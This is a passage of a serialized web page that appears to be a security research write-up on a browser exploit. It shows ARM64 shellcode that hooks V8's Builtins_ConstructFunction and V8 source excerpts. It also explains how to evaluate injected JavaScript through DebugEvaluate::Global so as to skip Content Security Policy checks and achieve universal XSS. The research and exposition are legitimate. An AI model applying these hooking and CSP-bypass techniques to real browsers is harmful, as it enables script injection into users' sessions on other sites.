.\n",{"type":21,"tag":153,"props":142346,"children":142347},{"class":155,"line":542},[142348],{"type":21,"tag":153,"props":142349,"children":142350},{"emptyLinePlaceholder":16},[142351],{"type":26,"value":759},{"type":21,"tag":153,"props":142353,"children":142354},{"class":155,"line":762},[142355],{"type":21,"tag":153,"props":142356,"children":142357},{},[142358],{"type":26,"value":142359},"// load the uxss_sc pointer saved just above new instructions\n",{"type":21,"tag":153,"props":142361,"children":142362},{"class":155,"line":776},[142363],{"type":21,"tag":153,"props":142364,"children":142365},{},[142366],{"type":26,"value":142367},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":21,"tag":153,"props":142369,"children":142370},{"class":155,"line":795},[142371],{"type":21,"tag":153,"props":142372,"children":142373},{"emptyLinePlaceholder":16},[142374],{"type":26,"value":759},{"type":21,"tag":153,"props":142376,"children":142377},{"class":155,"line":808},[142378],{"type":21,"tag":153,"props":142379,"children":142380},{},[142381],{"type":26,"value":142382},"// jump to uxss_sc\n",{"type":21,"tag":153,"props":142384,"children":142385},{"class":155,"line":820},[142386],{"type":21,"tag":153,"props":142387,"children":142388},{},[142389],{"type":26,"value":142390},"blr x15\n",{"type":21,"tag":22,"props":142392,"children":142393},{},[142394,142399,142401,142406],{"type":21,"tag":78,"props":142395,"children":142397},{"className":142396},[],[142398],{"type":26,"value":142281},{"type":26,"value":142400}," is the mmap-ed shellcode invoked by the patched ",{"type":21,"tag":78,"props":142402,"children":142404},{"className":142403},[],[142405],{"type":26,"value":141765},{"type":26,"value":142407}," to execute our XSS payload. Its prologue looks like this:",{"type":21,"tag":143,"props":142409,"children":142411},{"code":142410,"language":141818,"meta":7,"className":141819,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[142412],{"type":21,"tag":78,"props":142413,"children":142414},{"__ignoreMap":7},[142415,142422,142429,142437,142445,142453,142461,142469,142477,142485,142493,142501,142509,142517,142525,142533,142541,142549,142557],{"type":21,"tag":153,"props":142416,"children":142417},{"class":155,"line":156},[142418],{"type":21,"tag":153,"props":142419,"children":142420},{},[142421],{"type":26,"value":142298},{"type":21,"tag":153,"props":142423,"children":142424},{"class":155,"line":166},[142425],{"type":21,"tag":153,"props":142426,"children":142427},{"emptyLinePlaceholder":16},[142428],{"type":26,"value":759},{"type":21,"tag":153,"props":142430,"children":142431},{"class":155,"line":225},[142432],{"type":21,"tag":153,"props":142433,"children":142434},{},[142435],{"type":26,"value":142436},"// Save full register context\n",{"type":21,"tag":153,"props":142438,"children":142439},{"class":155,"line":239},[142440],{"type":21,"tag":153,"props":142441,"children":142442},{},[142443],{"type":26,"value":142444},"stp x0,  x1,  [sp, #-16]!\n",{"type":21,"tag":153,"props":142446,"children":142447},{"class":155,"line":382},[142448],{"type":21,"tag":153,"props":142449,"children":142450},{},[142451],{"type":26,"value":142452},"stp x2,  x3,  [sp, #-16]!\n",{"type":21,"tag":153,"props":142454,"children":142455},{"class":155,"line":501},[142456],{"type":21,"tag":153,"props":142457,"children":142458},{},[142459],{"type":26,"value":142460},"stp x4,  x5,  [sp, #-16]!\n",{"type":21,"tag":153,"props":142462,"children":142463},{"class":155,"line":533},[142464],{"type":21,"tag":153,"props":142465,"children":142466},{},[142467],{"type":26,"value":142468},"stp x6,  x7,  [sp, #-16]!\n",{"type":21,"tag":153,"props":142470,"children":142471},{"class":155,"line":542},[142472],{"type":21,"tag":153,"props":142473,"children":142474},{},[142475],{"type":26,"value":142476},"stp x8,  x9,  [sp, #-16]!\n",{"type":21,"tag":153,"props":142478,"children":142479},{"class":155,"line":762},[142480],{"type":21,"tag":153,"props":142481,"children":142482},{},[142483],{"type":26,"value":142484},"stp x10, x11, [sp, #-16]!\n",{"type":21,"tag":153,"props":142486,"children":142487},{"class":155,"line":776},[142488],{"type":21,"tag":153,"props":142489,"children":142490},{},[142491],{"type":26,"value":142492},"stp x12, x13, [sp, #-16]!\n",{"type":21,"tag":153,"props":142494,"children":142495},{"class":155,"line":795},[142496],{"type":21,"tag":153,"props":142497,"children":142498},{},[142499],{"type":26,"value":142500},"stp x14, x15, [sp, #-16]!\n",{"type":21,"tag":153,"props":142502,"children":142503},{"class":155,"line":808},[142504],{"type":21,"tag":153,"props":142505,"children":142506},{},[142507],{"type":26,"value":142508},"stp x16, x17, [sp, #-16]!\n",{"type":21,"tag":153,"props":142510,"children":142511},{"class":155,"line":820},[142512],{"type":21,"tag":153,"props":142513,"children":142514},{},[142515],{"type":26,"value":142516},"stp x18, x19, [sp, #-16]!\n",{"type":21,"tag":153,"props":142518,"children":142519},{"class":155,"line":842},[142520],{"type":21,"tag":153,"props":142521,"children":142522},{},[142523],{"type":26,"value":142524},"stp x20, x21, [sp, #-16]!\n",{"type":21,"tag":153,"props":142526,"children":142527},{"class":155,"line":3204},[142528],{"type":21,"tag":153,"props":142529,"children":142530},{},[142531],{"type":26,"value":142532},"stp x22, x23, [sp, #-16]!\n",{"type":21,"tag":153,"props":142534,"children":142535},{"class":155,"line":3230},[142536],{"type":21,"tag":153,"props":142537,"children":142538},{},[142539],{"type":26,"value":142540},"stp x24, x25, [sp, #-16]!\n",{"type":21,"tag":153,"props":142542,"children":142543},{"class":155,"line":3239},[142544],{"type":21,"tag":153,"props":142545,"children":142546},{},[142547],{"type":26,"value":142548},"stp x26, x27, [sp, #-16]!\n",{"type":21,"tag":153,"props":142550,"children":142551},{"class":155,"line":3253},[142552],{"type":21,"tag":153,"props":142553,"children":142554},{},[142555],{"type":26,"value":142556},"stp x28, x29, [sp, #-16]!\n",{"type":21,"tag":153,"props":142558,"children":142559},{"class":155,"line":3301},[142560],{"type":21,"tag":153,"props":142561,"children":142562},{},[142563],{"type":26,"value":142564},"str lr, [sp, #-16]!\n",{"type":21,"tag":22,"props":142566,"children":142567},{},[142568],{"type":26,"value":142569},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":21,"tag":22,"props":142571,"children":142572},{},[142573,142575,142580],{"type":26,"value":142574},"The epilogue restores all saved registers, restores the original instructions in ",{"type":21,"tag":78,"props":142576,"children":142578},{"className":142577},[],[142579],{"type":26,"value":141765},{"type":26,"value":142581},", and then returns execution to its beginning:",{"type":21,"tag":143,"props":142583,"children":142585},{"code":142584,"language":141818,"meta":7,"className":141819,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[142586],{"type":21,"tag":78,"props":142587,"children":142588},{"__ignoreMap":7},[142589,142597,142605,142613,142621,142629,142636,142643,142651,142658,142665,142673,142681,142689,142697,142705,142713,142721,142729,142737,142745,142753,142761,142769,142777,142785,142793,142800,142808,142816,142824,142832,142840,142847,142855,142863,142870],{"type":21,"tag":153,"props":142590,"children":142591},{"class":155,"line":156},[142592],{"type":21,"tag":153,"props":142593,"children":142594},{},[142595],{"type":26,"value":142596},"// restore original instructions of Builtins_ConstructFunction\n",{"type":21,"tag":153,"props":142598,"children":142599},{"class":155,"line":166},[142600],{"type":21,"tag":153,"props":142601,"children":142602},{},[142603],{"type":26,"value":142604},"ldr lr, [sp], #16\n",{"type":21,"tag":153,"props":142606,"children":142607},{"class":155,"line":225},[142608],{"type":21,"tag":153,"props":142609,"children":142610},{},[142611],{"type":26,"value":142612},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":21,"tag":153,"props":142614,"children":142615},{"class":155,"line":239},[142616],{"type":21,"tag":153,"props":142617,"children":142618},{},[142619],{"type":26,"value":142620},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":21,"tag":153,"props":142622,"children":142623},{"class":155,"line":382},[142624],{"type":21,"tag":153,"props":142625,"children":142626},{},[142627],{"type":26,"value":142628},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":21,"tag":153,"props":142630,"children":142631},{"class":155,"line":501},[142632],{"type":21,"tag":153,"props":142633,"children":142634},{"emptyLinePlaceholder":16},[142635],{"type":26,"value":759},{"type":21,"tag":153,"props":142637,"children":142638},{"class":155,"line":533},[142639],{"type":21,"tag":153,"props":142640,"children":142641},{},[142642],{"type":26,"value":142171},{"type":21,"tag":153,"props":142644,"children":142645},{"class":155,"line":542},[142646],{"type":21,"tag":153,"props":142647,"children":142648},{},[142649],{"type":26,"value":142650},"mov x0, lr\n",{"type":21,"tag":153,"props":142652,"children":142653},{"class":155,"line":762},[142654],{"type":21,"tag":153,"props":142655,"children":142656},{},[142657],{"type":26,"value":142187},{"type":21,"tag":153,"props":142659,"children":142660},{"class":155,"line":776},[142661],{"type":21,"tag":153,"props":142662,"children":142663},{"emptyLinePlaceholder":16},[142664],{"type":26,"value":759},{"type":21,"tag":153,"props":142666,"children":142667},{"class":155,"line":795},[142668],{"type":21,"tag":153,"props":142669,"children":142670},{},[142671],{"type":26,"value":142672},"// restore original registers\n",{"type":21,"tag":153,"props":142674,"children":142675},{"class":155,"line":808},[142676],{"type":21,"tag":153,"props":142677,"children":142678},{},[142679],{"type":26,"value":142680},"ldp x28, x29, [sp], #16\n",{"type":21,"tag":153,"props":142682,"children":142683},{"class":155,"line":820},[142684],{"type":21,"tag":153,"props":142685,"children":142686},{},[142687],{"type":26,"value":142688},"ldp x26, x27, [sp], #16\n",{"type":21,"tag":153,"props":142690,"children":142691},{"class":155,"line":842},[142692],{"type":21,"tag":153,"props":142693,"children":142694},{},[142695],{"type":26,"value":142696},"ldp x24, x25, [sp], #16\n",{"type":21,"tag":153,"props":142698,"children":142699},{"class":155,"line":3204},[142700],{"type":21,"tag":153,"props":142701,"children":142702},{},[142703],{"type":26,"value":142704},"ldp x22, x23, [sp], #16\n",{"type":21,"tag":153,"props":142706,"children":142707},{"class":155,"line":3230},[142708],{"type":21,"tag":153,"props":142709,"children":142710},{},[142711],{"type":26,"value":142712},"ldp x20, x21, [sp], #16\n",{"type":21,"tag":153,"props":142714,"children":142715},{"class":155,"line":3239},[142716],{"type":21,"tag":153,"props":142717,"children":142718},{},[142719],{"type":26,"value":142720},"ldp x18, x19, [sp], #16\n",{"type":21,"tag":153,"props":142722,"children":142723},{"class":155,"line":3253},[142724],{"type":21,"tag":153,"props":142725,"children":142726},{},[142727],{"type":26,"value":142728},"ldp x16, x17, [sp], #16\n",{"type":21,"tag":153,"props":142730,"children":142731},{"class":155,"line":3301},[142732],{"type":21,"tag":153,"props":142733,"children":142734},{},[142735],{"type":26,"value":142736},"ldp x14, x15, [sp], #16\n",{"type":21,"tag":153,"props":142738,"children":142739},{"class":155,"line":3346},[142740],{"type":21,"tag":153,"props":142741,"children":142742},{},[142743],{"type":26,"value":142744},"ldp x12, x13, [sp], #16\n",{"type":21,"tag":153,"props":142746,"children":142747},{"class":155,"line":3355},[142748],{"type":21,"tag":153,"props":142749,"children":142750},{},[142751],{"type":26,"value":142752},"ldp x10, x11, [sp], #16\n",{"type":21,"tag":153,"props":142754,"children":142755},{"class":155,"line":3364},[142756],{"type":21,"tag":153,"props":142757,"children":142758},{},[142759],{"type":26,"value":142760},"ldp x8,  x9,  [sp], #16\n",{"type":21,"tag":153,"props":142762,"children":142763},{"class":155,"line":3376},[142764],{"type":21,"tag":153,"props":142765,"children":142766},{},[142767],{"type":26,"value":142768},"ldp x6,  x7,  [sp], #16\n",{"type":21,"tag":153,"props":142770,"children":142771},{"class":155,"line":3393},[142772],{"type":21,"tag":153,"props":142773,"children":142774},{},[142775],{"type":26,"value":142776},"ldp x4,  x5,  [sp], #16\n",{"type":21,"tag":153,"props":142778,"children":142779},{"class":155,"line":3405},[142780],{"type":21,"tag":153,"props":142781,"children":142782},{},[142783],{"type":26,"value":142784},"ldp x2,  x3,  [sp], #16\n",{"type":21,"tag":153,"props":142786,"children":142787},{"class":155,"line":3427},[142788],{"type":21,"tag":153,"props":142789,"children":142790},{},[142791],{"type":26,"value":142792},"ldp x0,  x1,  [sp], #16\n",{"type":21,"tag":153,"props":142794,"children":142795},{"class":155,"line":3448},[142796],{"type":21,"tag":153,"props":142797,"children":142798},{"emptyLinePlaceholder":16},[142799],{"type":26,"value":759},{"type":21,"tag":153,"props":142801,"children":142802},{"class":155,"line":3456},[142803],{"type":21,"tag":153,"props":142804,"children":142805},{},[142806],{"type":26,"value":142807},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":21,"tag":153,"props":142809,"children":142810},{"class":155,"line":3493},[142811],{"type":21,"tag":153,"props":142812,"children":142813},{},[142814],{"type":26,"value":142815},"// it immediately, so we can clobber and use it as a return register.\n",{"type":21,"tag":153,"props":142817,"children":142818},{"class":155,"line":3509},[142819],{"type":21,"tag":153,"props":142820,"children":142821},{},[142822],{"type":26,"value":142823},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":21,"tag":153,"props":142825,"children":142826},{"class":155,"line":3517},[142827],{"type":21,"tag":153,"props":142828,"children":142829},{},[142830],{"type":26,"value":142831},"// where to return\n",{"type":21,"tag":153,"props":142833,"children":142834},{"class":155,"line":3526},[142835],{"type":21,"tag":153,"props":142836,"children":142837},{},[142838],{"type":26,"value":142839},"mov x4, lr\n",{"type":21,"tag":153,"props":142841,"children":142842},{"class":155,"line":3607},[142843],{"type":21,"tag":153,"props":142844,"children":142845},{"emptyLinePlaceholder":16},[142846],{"type":26,"value":759},{"type":21,"tag":153,"props":142848,"children":142849},{"class":155,"line":3615},[142850],{"type":21,"tag":153,"props":142851,"children":142852},{},[142853],{"type":26,"value":142854},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":21,"tag":153,"props":142856,"children":142857},{"class":155,"line":3629},[142858],{"type":21,"tag":153,"props":142859,"children":142860},{},[142861],{"type":26,"value":142862},"ldp x15, lr, [sp], #16\n",{"type":21,"tag":153,"props":142864,"children":142865},{"class":155,"line":26297},[142866],{"type":21,"tag":153,"props":142867,"children":142868},{"emptyLinePlaceholder":16},[142869],{"type":26,"value":759},{"type":21,"tag":153,"props":142871,"children":142872},{"class":155,"line":26330},[142873],{"type":21,"tag":153,"props":142874,"children":142875},{},[142876],{"type":26,"value":142877},"ret x4\n",{"type":21,"tag":22,"props":142879,"children":142880},{},[142881,142883,142888,142890,142895,142897,142903],{"type":26,"value":142882},"At this point, we have successfully hooked ",{"type":21,"tag":78,"props":142884,"children":142886},{"className":142885},[],[142887],{"type":26,"value":141765},{"type":26,"value":142889}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":21,"tag":78,"props":142891,"children":142893},{"className":142892},[],[142894],{"type":26,"value":142281},{"type":26,"value":142896}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":21,"tag":78,"props":142898,"children":142900},{"className":142899},[],[142901],{"type":26,"value":142902},"Builtins_GlobalEval",{"type":26,"value":355},{"type":21,"tag":22,"props":142905,"children":142906},{},[142907,142912,142914,142919,142921,142926],{"type":21,"tag":78,"props":142908,"children":142910},{"className":142909},[],[142911],{"type":26,"value":142902},{"type":26,"value":142913}," takes a single ",{"type":21,"tag":78,"props":142915,"children":142917},{"className":142916},[],[142918],{"type":26,"value":50216},{"type":26,"value":142920}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":21,"tag":78,"props":142922,"children":142924},{"className":142923},[],[142925],{"type":26,"value":40241},{"type":26,"value":201},{"type":21,"tag":143,"props":142928,"children":142930},{"code":142929,"language":31807,"meta":7,"className":31805,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[142931],{"type":21,"tag":78,"props":142932,"children":142933},{"__ignoreMap":7},[142934,142947,142954,142961,143004,143026,143052],{"type":21,"tag":153,"props":142935,"children":142936},{"class":155,"line":156},[142937,142942],{"type":21,"tag":153,"props":142938,"children":142939},{"style":181},[142940],{"type":26,"value":142941},"BUILTIN",{"type":21,"tag":153,"props":142943,"children":142944},{"style":160},[142945],{"type":26,"value":142946},"(GlobalEval) {\n",{"type":21,"tag":153,"props":142948,"children":142949},{"class":155,"line":166},[142950],{"type":21,"tag":153,"props":142951,"children":142952},{"style":160},[142953],{"type":26,"value":129450},{"type":21,"tag":153,"props":142955,"children":142956},{"class":155,"line":225},[142957],{"type":21,"tag":153,"props":142958,"children":142959},{"emptyLinePlaceholder":16},[142960],{"type":26,"value":759},{"type":21,"tag":153,"props":142962,"children":142963},{"class":155,"line":239},[142964,142969,142974,142978,142983,142987,142991,142995,143000],{"type":21,"tag":153,"props":142965,"children":142966},{"style":160},[142967],{"type":26,"value":142968},"  if (!Builtins::",{"type":21,"tag":153,"props":142970,"children":142971},{"style":214},[142972],{"type":26,"value":142973},"AllowDynamicFunction",{"type":21,"tag":153,"props":142975,"children":142976},{"style":160},[142977],{"type":26,"value":189},{"type":21,"tag":153,"props":142979,"children":142980},{"style":214},[142981],{"type":26,"value":142982},"isolate",{"type":21,"tag":153,"props":142984,"children":142985},{"style":160},[142986],{"type":26,"value":1670},{"type":21,"tag":153,"props":142988,"children":142989},{"style":214},[142990],{"type":26,"value":117375},{"type":21,"tag":153,"props":142992,"children":142993},{"style":160},[142994],{"type":26,"value":1670},{"type":21,"tag":153,"props":142996,"children":142997},{"style":214},[142998],{"type":26,"value":142999},"target_global_proxy",{"type":21,"tag":153,"props":143001,"children":143002},{"style":160},[143003],{"type":26,"value":37887},{"type":21,"tag":153,"props":143005,"children":143006},{"class":155,"line":382},[143007,143012,143016,143021],{"type":21,"tag":153,"props":143008,"children":143009},{"style":192},[143010],{"type":26,"value":143011},"    isolate",{"type":21,"tag":153,"props":143013,"children":143014},{"style":160},[143015],{"type":26,"value":2953},{"type":21,"tag":153,"props":143017,"children":143018},{"style":181},[143019],{"type":26,"value":143020},"CountUsage",{"type":21,"tag":153,"props":143022,"children":143023},{"style":160},[143024],{"type":26,"value":143025},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":21,"tag":153,"props":143027,"children":143028},{"class":155,"line":501},[143029,143033,143038,143043,143048],{"type":21,"tag":153,"props":143030,"children":143031},{"style":1751},[143032],{"type":26,"value":19687},{"type":21,"tag":153,"props":143034,"children":143035},{"style":181},[143036],{"type":26,"value":143037}," ReadOnlyRoots",{"type":21,"tag":153,"props":143039,"children":143040},{"style":160},[143041],{"type":26,"value":143042},"(isolate).",{"type":21,"tag":153,"props":143044,"children":143045},{"style":181},[143046],{"type":26,"value":143047},"undefined_value",{"type":21,"tag":153,"props":143049,"children":143050},{"style":160},[143051],{"type":26,"value":839},{"type":21,"tag":153,"props":143053,"children":143054},{"class":155,"line":533},[143055],{"type":21,"tag":153,"props":143056,"children":143057},{"style":160},[143058],{"type":26,"value":8601},{"type":21,"tag":22,"props":143060,"children":143061},{},[143062,143064,143069],{"type":26,"value":143063},"This means we would need to patch the function further to ensure it never enters this ",{"type":21,"tag":78,"props":143065,"children":143067},{"className":143066},[],[143068],{"type":26,"value":2338},{"type":26,"value":143070}," block.",{"type":21,"tag":22,"props":143072,"children":143073},{},[143074],{"type":26,"value":143075},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":21,"tag":143,"props":143077,"children":143079},{"code":143078,"language":31807,"meta":7,"className":31805,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[143080],{"type":21,"tag":78,"props":143081,"children":143082},{"__ignoreMap":7},[143083,143094,143101,143108,143115,143123,143135,143143,143160,143190,143198,143210],{"type":21,"tag":153,"props":143084,"children":143085},{"class":155,"line":156},[143086,143090],{"type":21,"tag":153,"props":143087,"children":143088},{"style":181},[143089],{"type":26,"value":142941},{"type":21,"tag":153,"props":143091,"children":143092},{"style":160},[143093],{"type":26,"value":142946},{"type":21,"tag":153,"props":143095,"children":143096},{"class":155,"line":166},[143097],{"type":21,"tag":153,"props":143098,"children":143099},{"emptyLinePlaceholder":16},[143100],{"type":26,"value":759},{"type":21,"tag":153,"props":143102,"children":143103},{"class":155,"line":225},[143104],{"type":21,"tag":153,"props":143105,"children":143106},{"style":160},[143107],{"type":26,"value":129450},{"type":21,"tag":153,"props":143109,"children":143110},{"class":155,"line":239},[143111],{"type":21,"tag":153,"props":143112,"children":143113},{"emptyLinePlaceholder":16},[143114],{"type":26,"value":759},{"type":21,"tag":153,"props":143116,"children":143117},{"class":155,"line":382},[143118],{"type":21,"tag":153,"props":143119,"children":143120},{"style":160},[143121],{"type":26,"value":143122},"  DirectHandle\u003CJSFunction> function;\n",{"type":21,"tag":153,"props":143124,"children":143125},{"class":155,"line":501},[143126,143131],{"type":21,"tag":153,"props":143127,"children":143128},{"style":181},[143129],{"type":26,"value":143130},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":21,"tag":153,"props":143132,"children":143133},{"style":160},[143134],{"type":26,"value":773},{"type":21,"tag":153,"props":143136,"children":143137},{"class":155,"line":533},[143138],{"type":21,"tag":153,"props":143139,"children":143140},{"style":160},[143141],{"type":26,"value":143142},"      isolate, function,\n",{"type":21,"tag":153,"props":143144,"children":143145},{"class":155,"line":542},[143146,143151,143156],{"type":21,"tag":153,"props":143147,"children":143148},{"style":160},[143149],{"type":26,"value":143150},"      Compiler::",{"type":21,"tag":153,"props":143152,"children":143153},{"style":181},[143154],{"type":26,"value":143155},"GetFunctionFromValidatedString",{"type":21,"tag":153,"props":143157,"children":143158},{"style":160},[143159],{"type":26,"value":773},{"type":21,"tag":153,"props":143161,"children":143162},{"class":155,"line":762},[143163,143168,143172,143176,143180,143185],{"type":21,"tag":153,"props":143164,"children":143165},{"style":181},[143166],{"type":26,"value":143167},"          direct_handle",{"type":21,"tag":153,"props":143169,"children":143170},{"style":160},[143171],{"type":26,"value":189},{"type":21,"tag":153,"props":143173,"children":143174},{"style":192},[143175],{"type":26,"value":117375},{"type":21,"tag":153,"props":143177,"children":143178},{"style":160},[143179],{"type":26,"value":2953},{"type":21,"tag":153,"props":143181,"children":143182},{"style":181},[143183],{"type":26,"value":143184},"native_context",{"type":21,"tag":153,"props":143186,"children":143187},{"style":160},[143188],{"type":26,"value":143189},"(), isolate), source,\n",{"type":21,"tag":153,"props":143191,"children":143192},{"class":155,"line":776},[143193],{"type":21,"tag":153,"props":143194,"children":143195},{"style":160},[143196],{"type":26,"value":143197},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":21,"tag":153,"props":143199,"children":143200},{"class":155,"line":795},[143201,143206],{"type":21,"tag":153,"props":143202,"children":143203},{"style":181},[143204],{"type":26,"value":143205},"  RETURN_RESULT_OR_FAILURE",{"type":21,"tag":153,"props":143207,"children":143208},{"style":160},[143209],{"type":26,"value":773},{"type":21,"tag":153,"props":143211,"children":143212},{"class":155,"line":808},[143213,143218,143223],{"type":21,"tag":153,"props":143214,"children":143215},{"style":160},[143216],{"type":26,"value":143217},"      isolate, Execution::",{"type":21,"tag":153,"props":143219,"children":143220},{"style":181},[143221],{"type":26,"value":143222},"Call",{"type":21,"tag":153,"props":143224,"children":143225},{"style":160},[143226],{"type":26,"value":143227},"(isolate, function, target_global_proxy, {}));\n",{"type":21,"tag":22,"props":143229,"children":143230},{},[143231,143233,143238,143240,143246,143248,143254,143256,143262],{"type":26,"value":143232},"But determining the correct ",{"type":21,"tag":78,"props":143234,"children":143236},{"className":143235},[],[143237],{"type":26,"value":117375},{"type":26,"value":143239}," value, obtaining ",{"type":21,"tag":78,"props":143241,"children":143243},{"className":143242},[],[143244],{"type":26,"value":143245},"target->native_context()",{"type":26,"value":143247},", and locating the ",{"type":21,"tag":78,"props":143249,"children":143251},{"className":143250},[],[143252],{"type":26,"value":143253},"direct_handle",{"type":26,"value":143255}," function, just to make a proper call to ",{"type":21,"tag":78,"props":143257,"children":143259},{"className":143258},[],[143260],{"type":26,"value":143261},"Compiler::GetFunctionFromValidatedString",{"type":26,"value":143263},", seemed unnecessarily cumbersome.",{"type":21,"tag":22,"props":143265,"children":143266},{},[143267,143269,143275],{"type":26,"value":143268},"Instead, we found a much simpler option with no security checks: ",{"type":21,"tag":78,"props":143270,"children":143272},{"className":143271},[],[143273],{"type":26,"value":143274},"DebugEvaluate::Global",{"type":26,"value":143276},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":21,"tag":22,"props":143278,"children":143279},{},[143280],{"type":26,"value":143281},"For our needs, it is straightforward to call:",{"type":21,"tag":143,"props":143283,"children":143285},{"code":143284,"language":31807,"meta":7,"className":31805,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[143286],{"type":21,"tag":78,"props":143287,"children":143288},{"__ignoreMap":7},[143289,143337,143366,143387],{"type":21,"tag":153,"props":143290,"children":143291},{"class":155,"line":156},[143292,143297,143301,143305,143310,143315,143319,143324,143328,143333],{"type":21,"tag":153,"props":143293,"children":143294},{"style":214},[143295],{"type":26,"value":143296},"MaybeDirectHandle",{"type":21,"tag":153,"props":143298,"children":143299},{"style":160},[143300],{"type":26,"value":8537},{"type":21,"tag":153,"props":143302,"children":143303},{"style":214},[143304],{"type":26,"value":51141},{"type":21,"tag":153,"props":143306,"children":143307},{"style":160},[143308],{"type":26,"value":143309},"> DebugEvaluate::",{"type":21,"tag":153,"props":143311,"children":143312},{"style":181},[143313],{"type":26,"value":143314},"Global",{"type":21,"tag":153,"props":143316,"children":143317},{"style":160},[143318],{"type":26,"value":189},{"type":21,"tag":153,"props":143320,"children":143321},{"style":214},[143322],{"type":26,"value":143323},"Isolate",{"type":21,"tag":153,"props":143325,"children":143326},{"style":170},[143327],{"type":26,"value":313},{"type":21,"tag":153,"props":143329,"children":143330},{"style":192},[143331],{"type":26,"value":143332}," isolate",{"type":21,"tag":153,"props":143334,"children":143335},{"style":160},[143336],{"type":26,"value":792},{"type":21,"tag":153,"props":143338,"children":143339},{"class":155,"line":166},[143340,143345,143349,143353,143357,143362],{"type":21,"tag":153,"props":143341,"children":143342},{"style":214},[143343],{"type":26,"value":143344},"                                                Handle",{"type":21,"tag":153,"props":143346,"children":143347},{"style":160},[143348],{"type":26,"value":8537},{"type":21,"tag":153,"props":143350,"children":143351},{"style":214},[143352],{"type":26,"value":50216},{"type":21,"tag":153,"props":143354,"children":143355},{"style":160},[143356],{"type":26,"value":4109},{"type":21,"tag":153,"props":143358,"children":143359},{"style":192},[143360],{"type":26,"value":143361},"source",{"type":21,"tag":153,"props":143363,"children":143364},{"style":160},[143365],{"type":26,"value":792},{"type":21,"tag":153,"props":143367,"children":143368},{"class":155,"line":225},[143369,143374,143379,143383],{"type":21,"tag":153,"props":143370,"children":143371},{"style":160},[143372],{"type":26,"value":143373},"                                                debug::",{"type":21,"tag":153,"props":143375,"children":143376},{"style":214},[143377],{"type":26,"value":143378},"EvaluateGlobalMode",{"type":21,"tag":153,"props":143380,"children":143381},{"style":192},[143382],{"type":26,"value":108571},{"type":21,"tag":153,"props":143384,"children":143385},{"style":160},[143386],{"type":26,"value":792},{"type":21,"tag":153,"props":143388,"children":143389},{"class":155,"line":239},[143390,143395,143400],{"type":21,"tag":153,"props":143391,"children":143392},{"style":214},[143393],{"type":26,"value":143394},"                                                REPLMode",{"type":21,"tag":153,"props":143396,"children":143397},{"style":192},[143398],{"type":26,"value":143399}," repl_mode",{"type":21,"tag":153,"props":143401,"children":143402},{"style":160},[143403],{"type":26,"value":530},{"type":21,"tag":22,"props":143405,"children":143406},{},[143407,143409,143414,143416,143421,143423,143428,143430,143436,143437,143443],{"type":26,"value":143408},"We must supply the ",{"type":21,"tag":78,"props":143410,"children":143412},{"className":143411},[],[143413],{"type":26,"value":142982},{"type":26,"value":143415}," pointer, a 